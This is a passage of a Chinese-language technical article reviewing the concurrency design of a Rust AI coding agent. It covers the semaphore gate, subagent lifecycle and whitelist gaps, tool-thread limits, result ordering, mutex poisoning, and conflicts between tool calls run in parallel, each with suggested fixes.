<span class="w">        </span><span class="bp">self</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">cv</span><span class="p">.</span><span class="n">notify_one</span><span class="p">();</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


<code>Drop</code> 保证四条路径都会还许可：正常返回、<code>?</code> 提前返回、<code>panic</code> 展开、以及 <code>run_subagent</code> 里 <code>match</code> 的任一个分支。这是 RAII 在并发里最重要的价值——不需要在每条返回路径上手写 <code>release()</code>。

<code>notify_one</code> 而不是 <code>notify_all</code>：每次释放只多出一个空位，唤醒一个等待者正好。用 <code>notify_all</code> 会造成「惊群」——所有等待者醒来抢同一把锁，只有一个能拿到许可，其余重新睡回去。
<h2>门的位置错了：先登记后排队</h2>

<code>Gate</code> 的实现是对的，但它的<strong>调用位置</strong>有问题：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">run_subagent</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">start</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span><span class="w">   </span><span class="c1">// 先登记</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">_permit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">acquire</span><span class="p">();</span><span class="w">       </span><span class="c1">// 再排队</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">run_subagent_inner</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="o">&amp;</span><span class="n">result</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(</span><span class="n">text</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">finish_ok</span><span class="p">(</span><span class="o">&amp;</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">text</span><span class="p">),</span>
<span class="w">        </span><span class="nb">Err</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">finish_err</span><span class="p">(</span><span class="o">&amp;</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">err</span><span class="p">),</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="n">result</span>
<span class="p">}</span>
</code></pre></div>


<code>start()</code> 在前，<code>acquire()</code> 在后。后果有两个：

<strong>第一，任务板上的状态是假的。</strong> <code>Board::start</code> 把新作业登记成 <code>JobStatus::Running</code>。但如果此刻已经跑着 4 个子代理，第 5 个会卡在 <code>acquire()</code> 上——它一行代码都没执行，任务板却显示 <code>[running]</code>。模型调 <code>agent_list</code> 看到的是一排 <code>running</code>，其中有一半在排队。它无从区分「真在跑」和「在等许可」。

<strong>第二，<code>duration</code> 把排队时间算进去了。</strong> <code>Job</code> 里的 <code>started: Instant</code> 在 <code>start()</code> 时记录，<code>finish()</code> 里用 <code>job.started.elapsed()</code> 算时长。所以一个排队 30 秒、实际执行 2 秒的子代理，任务板会显示 32.0s。这个数字会误导任何基于任务板做的性能判断。

修法很简单：加一个 <code>Queued</code> 状态，并让 <code>start()</code> 接受状态参数。
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">enqueue</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span><span class="w">   </span><span class="c1">// 登记为 Queued</span>
<span class="kd">let</span><span class="w"> </span><span class="n">_permit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">acquire</span><span class="p">();</span>
<span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">mark_running</span><span class="p">(</span><span class="o">&amp;</span><span class="n">id</span><span class="p">);</span><span class="w">              </span><span class="c1">// 拿到许可再改状态</span>
</code></pre></div>


同时把 <code>started</code> 的赋值挪到 <code>mark_running</code> 里，<code>duration</code> 就只算执行时间。改动不超过 20 行，但让任务板从「大致对」变成「可以直接用来判断卡在哪」。

为什么原实现会写成这样？因为最自然的顺序是「先登记再干活」——你要先有 id 才能结算。而门是后来加的，加的时候就在登记的下一行插了一句 <code>acquire()</code>，没有人回头看状态机的语义。这是并发改造中最常见的错误类型：<strong>在已有流程里插入一个阻塞点，但没有重新检查这个阻塞点上游已经做了什么</strong>。
<h2>子代理：并行的第一类真实用户</h2>

工具调用并行是「同一批里各干各的」，子代理是「同一个任务分给几个人」。两者的区别在于子代理内部还会再发起模型请求和工具调用。

一个子代理的完整生命周期：
<div class="table-scroll"><table>
<thead>
<tr>
<th>阶段</th>
<th>代码</th>
<th>共享状态</th>
</tr>
</thead>
<tbody>
<tr>
<td>登记</td>
<td><code>board.start(name, task)</code></td>
<td><code>Board.jobs</code>、<code>Board.seq</code></td>
</tr>
<tr>
<td>排队</td>
<td><code>gate.acquire()</code></td>
<td><code>Gate.active</code></td>
</tr>
<tr>
<td>组配置</td>
<td><code>self.cfg.clone()</code> + 模型覆盖 + 关流式</td>
<td>无（纯本地）</td>
</tr>
<tr>
<td>组工具</td>
<td><code>build_tools()</code> 按 <code>allowed_tools</code> 过滤，去掉 <code>subagent</code></td>
<td>无</td>
</tr>
<tr>
<td>组消息</td>
<td>一条 system（子代理 prompt）+ 一条 user（任务）</td>
<td>无</td>
</tr>
<tr>
<td>循环</td>
<td><code>llm::chat</code> → 执行工具 → 追加结果，最多 40 轮</td>
<td><code>Ctx</code> 的五把锁</td>
</tr>
<tr>
<td>结算</td>
<td><code>finish_ok</code> / <code>finish_err</code></td>
<td><code>Board.jobs</code></td>
</tr>
</tbody>
</table></div>

关键点在于<strong>子代理不持有父代理的对话历史</strong>。它只拿到两样东西：自己的 system prompt（来自配置文件的 <code>prompt</code> 字段）和一句任务描述。这是子代理能真正并行的前提——如果它要继承父对话，四个子代理就要各自复制一份 120,000 字符的历史，内存和 token 成本会立刻爆炸。

代价是信息不对称：子代理不知道父代理之前试过什么、失败了什么。所以 <code>subagent</code> 工具的描述里写着「用于评审、测试、调研，或者任何能从专注专家中获益的任务」——它适合「有明确输入输出的独立子任务」，不适合「接着上一步继续改」。

<code>Board</code> 记录了每个子代理的任务原文和结果预览（500 字符），父代理通过 <code>agent_list</code> 能看到一张进度表：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">job</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">jobs</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">duration</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">duration</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nb">Some</span><span class="p">(</span><span class="n">d</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;{:.1}s&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">d</span><span class="p">.</span><span class="n">as_secs_f64</span><span class="p">()),</span>
<span class="w">        </span><span class="nb">None</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="s">&quot;…&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">(),</span>
<span class="w">    </span><span class="p">};</span>
<span class="w">    </span><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span>
<span class="w">        </span><span class="s">&quot;- {} [{}] {} ({}) — {}</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">id</span><span class="p">,</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">status</span><span class="p">.</span><span class="n">as_str</span><span class="p">(),</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">name</span><span class="p">,</span>
<span class="w">        </span><span class="n">duration</span><span class="p">,</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">task</span>
<span class="w">    </span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div>


这张表的设计意图是「让模型自己判断要不要继续等」。如果两个子代理都 <code>done</code>，一个还 <code>running</code> 且已经 40 秒，模型可以选择先处理已完成的结果。这是把调度权交回模型，而不是在代码里写死「等全部完成」。
<h2>子代理内部为什么又是串行</h2>

<code>run_subagent_inner</code> 里的工具循环是串行的，代码里还专门写了一行注释：
<div class="codehilite"><pre><span></span><code><span class="c1">// 子代理的工具调用按顺序执行（子代理本身已经受限）。</span>
<span class="k">for</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&amp;</span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">call</span><span class="p">);</span>
<span class="w">    </span><span class="n">messages</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">({</span>
<span class="w">        </span><span class="s">&quot;role&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;tool&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;tool_call_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">call</span><span class="p">.</span><span class="n">id</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;content&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">out</span><span class="p">,</span>
<span class="w">    </span><span class="p">}));</span>
<span class="p">}</span>
</code></pre></div>


理由有三条，都成立：

<strong>第一，嵌套并行会指数放大线程数。</strong> 父代理起 4 个子代理，每个子代理再起 5 个工具线程，就是 24 个线程。如果子代理还能再分子代理（代码里已经把 <code>subagent</code> 工具过滤掉了，所以不会），理论上是 4 的幂。串行是一种「在嵌套层主动降级」的策略。

<strong>第二，子代理的工具调用数量通常很少。</strong> 子代理是「专注专家」，它的 prompt 会把任务收窄，所以一轮里往往只有一两个工具调用。并行的收益本来就小。

<strong>第三，也是真正的原因：子代理本身已经并行了。</strong> 四个子代理同时跑，每个内部串行——总并发度是 4，已经吃满了这部分收益。再往内层并行，收益递减而复杂度和线程数线性增长。

代价也要认：如果一个子代理内部串行跑了 5 个各 20 秒的命令，它就要 100 秒；这四个子代理里最慢的那个决定整轮耗时。所以「子代理内部串行」这个决定，把最坏情况从「最慢的单个工具」变成了「最慢的子代理内部工具之和」。

这条注释里还藏着一个措辞问题：原文是英文 <code>(sub-agents are bounded)</code>，「bounded」指的是并发度受限，但读起来容易被理解成「子代理的工具调用数量有上限」——实际上没有。子代理的工具调用数量和父代理一样，完全由模型输出决定。注释应该写成「子代理的并发度已经由 Gate 限制，内部再并行会放大线程数」。
<h2>子代理的四处越界：中断、上限、模型、白名单</h2>

子代理虽然共享 <code>&amp;self</code>，但有四处「以为继承了，其实没有」的地方，每一处都是真实的行为差异。

<strong>第一处：中断。</strong> 父代理的 <code>run()</code> 每轮开头检查 <code>crate::interrupt::take()</code>，但 <code>run_subagent_inner</code> 的循环里<strong>没有任何中断检查</strong>。这意味着 Ctrl-C 之后：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="mi">0</span><span class="o">..</span><span class="n">sub_cfg</span><span class="p">.</span><span class="n">max_iterations</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">turn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">llm</span><span class="p">::</span><span class="n">chat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sub_cfg</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">messages</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">tools</span><span class="p">,</span><span class="w"> </span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="p">{})</span><span class="o">?</span><span class="p">;</span><span class="w">   </span><span class="c1">// 没有 take()</span>
<span class="w">    </span><span class="c1">// …执行工具…</span>
<span class="p">}</span>
</code></pre></div>


子代理会继续把剩下的轮次跑完，最多 40 次模型请求。父代理只能等 <code>execute()</code> 返回，才能在下一轮边界看到中断标志。用户按了 Ctrl-C，界面可能还要再等几十秒。

修法：在子代理循环开头加一行 <code>if crate::interrupt::take() { break; }</code>。但要注意这会「消费」掉标志——父代理的下一轮检查就看不到了。正确做法是加一个 <code>peek()</code>（只读不清），或者让子代理在检测到中断时重新 <code>request()</code> 一次再 <code>break</code>。

<strong>第二处：轮次上限。</strong> 子代理用的是 <code>sub_cfg.max_iterations</code>，而 <code>sub_cfg</code> 是 <code>self.cfg.clone()</code>，也就是<strong>父代理的 40 轮</strong>。子代理没有独立的上限配置。这意味着「一个子代理最多跑 40 轮」是硬编码出来的，不能调。合理的做法是给 <code>SubAgentDef</code> 加一个 <code>max_iterations</code> 字段，默认取一个小得多的值（比如 10），因为专注子任务本来就不该长跑。

<strong>第三处：模型覆盖只作用于模型调用。</strong> <code>sub_cfg.model</code> 覆盖了模型名，但工具执行走的是 <code>self.execute(call)</code>，用的是<strong>父代理的 <code>Ctx</code></strong>：同一个 <code>max_output</code>、同一个 <code>auto_approve</code>、同一个 <code>sandbox</code>、同一个任务板。这是对的——工具行为应该一致——但会导致一个反直觉的结果：子代理配置了「便宜的小模型」，但它的工具输出仍然按父代理的 20,000 字节预算返回，小模型可能根本读不完。

<strong>第四处，也是最严重的一处：<code>allowed_tools</code> 只是广告，不是闸门。</strong> 子代理的工具列表是这样过滤的：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">tool_list</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Value</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">def</span><span class="p">.</span><span class="n">allowed_tools</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">all_tools</span>
<span class="w">        </span><span class="p">.</span><span class="n">as_array</span><span class="p">()</span>
<span class="w">        </span><span class="p">.</span><span class="n">cloned</span><span class="p">()</span>
<span class="w">        </span><span class="p">.</span><span class="n">unwrap_or_default</span><span class="p">()</span>
<span class="w">        </span><span class="p">.</span><span class="n">into_iter</span><span class="p">()</span>
<span class="w">        </span><span class="p">.</span><span class="n">filter</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* tname 在 def.allowed_tools 里 */</span><span class="w"> </span><span class="p">})</span>
<span class="w">        </span><span class="p">.</span><span class="n">collect</span><span class="p">()</span>
<span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">all_tools</span><span class="p">.</span><span class="n">as_array</span><span class="p">().</span><span class="n">cloned</span><span class="p">().</span><span class="n">unwrap_or_default</span><span class="p">()</span>
<span class="p">};</span>
</code></pre></div>


它只影响<strong>发给模型看的工具列表</strong>。真正的执行前检查是 <code>self.cfg.check_tool(&amp;call.name)</code>，用的是<strong>父代理的</strong>允许/禁止列表，和 <code>def.allowed_tools</code> 毫无关系。所以只要模型输出了 <code>run_command</code> 这个工具名（哪怕它没被广告出去），并且父配置允许，命令就会真的执行。

模型会不会输出没被广告的工具名？正常情况下不会，但它会——历史里出现过、别的子代理用过、或者纯粹幻觉。这是个「靠模型自律」的边界，而白名单的意义正是<strong>不靠模型自律</strong>。

修法很直接：把 <code>allowed_tools</code> 传进执行路径。最小改动是在 <code>execute</code> 上加一个可选的白名单参数，或者给子代理包一层 <code>Ctx</code> 的子视图（把 <code>Ctx</code> 的字段变成可覆盖的）。后者更干净，但要改 <code>Ctx</code> 的结构，是几小时而不是几分钟的工作。
<h2>工具线程没有上限</h2>

回到第一层。这一层的并发度是 <code>turn.tool_calls.len()</code>，代码里没有任何上限：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">handles</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">_</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">turn</span>
<span class="w">    </span><span class="p">.</span><span class="n">tool_calls</span>
<span class="w">    </span><span class="p">.</span><span class="n">iter</span><span class="p">()</span>
<span class="w">    </span><span class="p">.</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">call</span><span class="o">|</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">spawn</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">this</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">call</span><span class="p">)))</span>
<span class="w">    </span><span class="p">.</span><span class="n">collect</span><span class="p">();</span>
</code></pre></div>


模型一次返回几个，就起几个线程。这个数字完全由模型输出决定，而模型输出又受工具数量和上下文长度影响。理论上一个「读 30 个文件」的批量任务会让模型一次给出 30 个 <code>read_file</code> 调用。

为什么没加上限？因为实践里几乎不会发生：模型的输出长度有限，而每个工具调用都要占几十个 token 的 JSON，30 个调用就要吃掉一两千 token。大多数模型在生成这么多调用之前就会先停下来观察结果。

但这个「几乎不会发生」有个例外：<strong>模型被提示词要求批量操作时</strong>。比如你在 <code>AGENTS.md</code> 里写「一次性读完全部相关文件」，模型就可能真的生成 20 个调用。这时候：
<div class="table-scroll"><table>
<thead>
<tr>
<th>风险</th>
<th>表现</th>
</tr>
</thead>
<tbody>
<tr>
<td>线程数暴涨</td>
<td>20 个线程各自持有 16 KiB 读缓冲 + 文件内容</td>
</tr>
<tr>
<td>文件描述符耗尽</td>
<td>每个 <code>read_file</code> 开一个 fd，20 个并发没问题，200 个就可能触顶</td>
</tr>
<tr>
<td>输出总量失控</td>
<td>20 个结果各 20,000 字节，一次拼进历史就是 400,000 字节</td>
</tr>
</tbody>
</table></div>

第三项最危险，因为它和上下文预算的交互不直观：<code>clamp</code> 保证单个工具输出不超过 20,000 字节，但<strong>没有保证一次批次的输出总量</strong>。20 个结果拼起来可以让 <code>messages</code> 直接超过 <code>CONTEXT_CHAR_BUDGET (120,000)</code>，触发一次压缩——那次压缩又要多一次模型请求来生成摘要。

修法不是简单地给线程数设个 8，而是<strong>给批次输出设总量预算</strong>：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">total_budget</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">40_000</span><span class="p">;</span><span class="w">   </span><span class="c1">// 一次批次的输出总和</span>
<span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">used</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="k">usize</span><span class="p">;</span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">call</span><span class="p">,</span><span class="w"> </span><span class="n">result</span><span class="p">)</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">zip</span><span class="p">(</span><span class="n">results</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">remain</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">total_budget</span><span class="p">.</span><span class="n">saturating_sub</span><span class="p">(</span><span class="n">used</span><span class="p">);</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">trimmed</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">clamp</span><span class="p">(</span><span class="n">result</span><span class="p">,</span><span class="w"> </span><span class="n">remain</span><span class="p">);</span>
<span class="w">    </span><span class="n">used</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">trimmed</span><span class="p">.</span><span class="n">len</span><span class="p">();</span>
<span class="w">    </span><span class="c1">// …</span>
<span class="p">}</span>
</code></pre></div>


线程数上限仍然值得加（比如 16），但它防的是资源耗尽，输出预算防的是上下文爆炸。两个问题不能用一个数字解决。
<h2>结果顺序：为什么必须按调用顺序回填</h2>

<code>handles.into_iter().map(join)</code> 的顺序就是 <code>tool_calls</code> 的顺序，所以结果向量天然对齐。这个「天然」是设计出来的，不是巧合。

为什么必须对齐？因为回填历史时是 <code>zip</code>：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">call</span><span class="p">,</span><span class="w"> </span><span class="n">result</span><span class="p">)</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">zip</span><span class="p">(</span><span class="n">results</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">tool_call</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">summarize</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">arguments</span><span class="p">),</span><span class="w"> </span><span class="o">&amp;</span><span class="n">result</span><span class="p">);</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">messages</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">({</span>
<span class="w">        </span><span class="s">&quot;role&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;tool&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;tool_call_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">call</span><span class="p">.</span><span class="n">id</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;content&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">result</span><span class="p">,</span>
<span class="w">    </span><span class="p">}));</span>
<span class="p">}</span>
</code></pre></div>


这里 <code>zip</code> 依赖两个向量<strong>长度相等且顺序一致</strong>。如果并发实现用了 <code>mpsc::channel</code> 收集结果（先完成的先投递），顺序就会变成完成顺序。后果不是「结果稍微乱一点」，而是 OpenAI 协议层面的硬错误：每条 <code>tool</code> 消息的 <code>tool_call_id</code> 必须对应上一条 <code>assistant</code> 消息里某个 <code>tool_calls[].id</code>，顺序错了模型会收到错配的结果——它以为自己在看 <code>read_file</code> 的输出，实际拿到的是 <code>grep</code> 的。

更隐蔽的后果：如果实现用了 <code>join</code> 但把结果 <code>filter</code> 掉了空值，两个向量长度不等，<code>zip</code> 会静默截断——最后一条工具调用<strong>没有对应的 tool 消息</strong>。下一次请求发出去就是 400，错误信息是「tool_calls must be followed by tool messages」，而这时你已经在几百行之外了。

所以这里有三条硬规则：
<div class="table-scroll"><table>
<thead>
<tr>
<th>规则</th>
<th>原因</th>
<th>违反后</th>
</tr>
</thead>
<tbody>
<tr>
<td>每个 <code>tool_call</code> 恰好一条 <code>tool</code> 消息</td>
<td>协议要求成对</td>
<td>下次请求 400</td>
</tr>
<tr>
<td>顺序与 <code>tool_calls</code> 一致</td>
<td><code>zip</code> 按位置匹配</td>
<td>结果错配，模型基于错误信息推理</td>
</tr>
<tr>
<td>结果永远返回字符串，不返回空</td>
<td><code>zip</code> 会截断</td>
<td>同上</td>
</tr>
</tbody>
</table></div>

第三条正是 <code>unwrap_or_else(|_| "ERROR: tool thread panicked")</code> 存在的原因——panic 也要产出一条字符串，保持成对。
<h2>一个线程 panic 了会怎样</h2>

<code>join()</code> 返回 <code>Result&lt;T, Box&lt;dyn Any&gt;&gt;</code>，线程 panic 时是 <code>Err</code>。代码选择把它变成一条错误字符串：
<div class="codehilite"><pre><span></span><code><span class="n">h</span><span class="p">.</span><span class="n">join</span><span class="p">().</span><span class="n">unwrap_or_else</span><span class="p">(</span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="s">&quot;ERROR: tool thread panicked&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">())</span>
</code></pre></div>


这个选择意味着：<strong>一个工具的 panic 不会让整轮失败</strong>。其余工具的结果照常回填，模型会看到某一条结果是「ERROR: tool thread panicked」，然后自己决定要不要重试。

这是对的设计，但有一个重要的前提：<strong>panic 时锁不能处于中毒状态</strong>。<code>std::sync::Mutex</code> 的语义是，持锁线程 panic 会让锁「中毒」，后续 <code>lock()</code> 返回 <code>Err(PoisonError)</code>。而代码里到处是 <code>.lock().unwrap()</code>：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">jobs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">jobs</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
</code></pre></div>


一旦某个工具在持 <code>Board.jobs</code> 时 panic，之后所有 <code>agent_list</code> 调用都会 panic——从「一个工具失败」升级成「任务板永久不可用」。

好消息是这些锁的临界区都很短，而且全是纯内存操作，panic 的概率极低（<code>format!</code> 分配失败、切片越界）。真正的风险在 <code>TaskManager</code>，因为它在锁里做 I/O——一次管道读取 panic 就能毒死整个任务表。

修法有两种：把 <code>.unwrap()</code> 换成 <code>.unwrap_or_else(|e| e.into_inner())</code>（忽略中毒，继续用可能不一致的数据），或者改用 <code>parking_lot::Mutex</code>（不中毒）。前者零依赖，后者更干净。对一个「工具 panic 已经降级成字符串」的系统来说，忽略中毒是更合适的选择——数据不一致的风险远小于「整个功能永久失效」。
<h2>不是所有工具都该并行</h2>

并行是默认行为，但有些工具组合并行会出错。这不是实现缺陷，而是「工具语义里隐含了顺序」。
<div class="table-scroll"><table>
<thead>
<tr>
<th>组合</th>
<th>问题</th>
<th>后果</th>
</tr>
</thead>
<tbody>
<tr>
<td>两个 <code>edit_file</code> 改同一个文件</td>
<td>各自读全文、改、写回</td>
<td>后写覆盖先写，丢失一处修改</td>
</tr>
<tr>
<td><code>write_file</code> + <code>read_file</code> 同一文件</td>
<td>读到的可能是旧内容</td>
<td>模型基于旧内容做判断</td>
</tr>
<tr>
<td>两个 <code>todo_write</code></td>
<td>语义是整体替换</td>
<td>后到的列表完全覆盖先到的</td>
</tr>
<tr>
<td>两个 <code>run_command</code> 同时要审批</td>
<td>共用一份 stdin</td>
<td>提示交错，答案错配</td>
</tr>
<tr>
<td><code>git_commit</code> + <code>edit_file</code></td>
<td>提交的内容不确定</td>
<td>提交了半成品</td>
</tr>
</tbody>
</table></div>

第一项是最容易踩的。<code>edit_file</code> 的语义是「读全文 → 替换 → 写回」，两个并发调用必然产生丢失更新。而模型完全可能在一轮里给出「改 A 文件第 10 行」和「改 A 文件第 20 行」两个调用——它以为这是两个独立操作，实际上是一个读-改-写竞争。

代码层面没有任何保护：<code>edit_file</code> 里既不锁文件，也不检查 mtime。所以这不是「理论风险」，而是「只要模型这么干就一定出错」。

修法有三档：

<strong>第一档（最省事）：在工具描述里写清约束。</strong> <code>edit_file</code> 的描述里加一句「同一个文件的多处修改请合并成一次调用」。这依赖模型遵守，但成本为零，能消掉大部分情况。

